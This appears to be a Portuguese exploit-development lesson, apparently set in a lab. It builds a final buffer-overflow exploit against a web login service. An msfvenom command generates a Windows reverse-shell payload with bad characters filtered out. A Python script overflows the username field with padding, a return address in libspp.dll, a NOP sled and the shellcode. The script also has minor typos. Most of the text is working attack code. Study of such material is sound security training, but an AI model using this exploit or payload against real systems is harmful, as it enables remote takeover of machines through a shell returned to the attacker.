## Criando Nosso Exploit Final

+ Para corrigir o erro da vez passada em que a conexão parava de receber a shell depois de ser encerrada pela 1ª vez, vamos montar o exploit do msfvenom com outros parâmetros

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f c
```

- → Dessa vez encerramos a thread que foi executada na hora de abrir a conexão e não matar o processo
- → Será gerado um novo payload, que basta substituir onde estava o da aula passada

```
#!/usr/bin/python
import socket
#0x10090c83
\# badchars = x00x0ax0dx25x26x2bx3d
#ret = 0x10090c3 libspp.dll Windows 10 Enterprise
# windows/shell reverse tcp lhost=192.168.0.16 lport=443
shellcode = (<novo payload>)
dados = "A"*780 + "\x83\x0c\x09\x10" + "\x90" * 16 + shellcode
# "\x90 * 16 é o NOP's Leading"
tam = len(dados) + 20
request+="POST /login HTTP/1.1\r\n"
request+="Host: 192.168.0.5\r\n"
request+="User-Agent: Mozilla/5.0 (x11; Linux x86 64; rv:68.0) Gecko/20100101
Firefox/68.0\r\n"
request+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/
*; q=0.8 r\n"
request+="Accept-Language: en-US, en; q=0.5\r\n"
request+="Accept-Encoding: gzip, deflate\r\n"
request+="Referer: http://192.168.0.5/login\r\n"
request+="Content-Type: application/x-www-form-urlencoded\r\n"
request+="Content-Length: "+str(tam)+"\r\n"
request+="DNT: 1\r\n"
request+="Connection: close\r\n"
request+="Upgrade-Insecure-Requests: 1\r\n"
request+="\r\n"
request+="username="+dados+"&password=A"
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect(("192.168.0.5", 80))
s.send(request)
```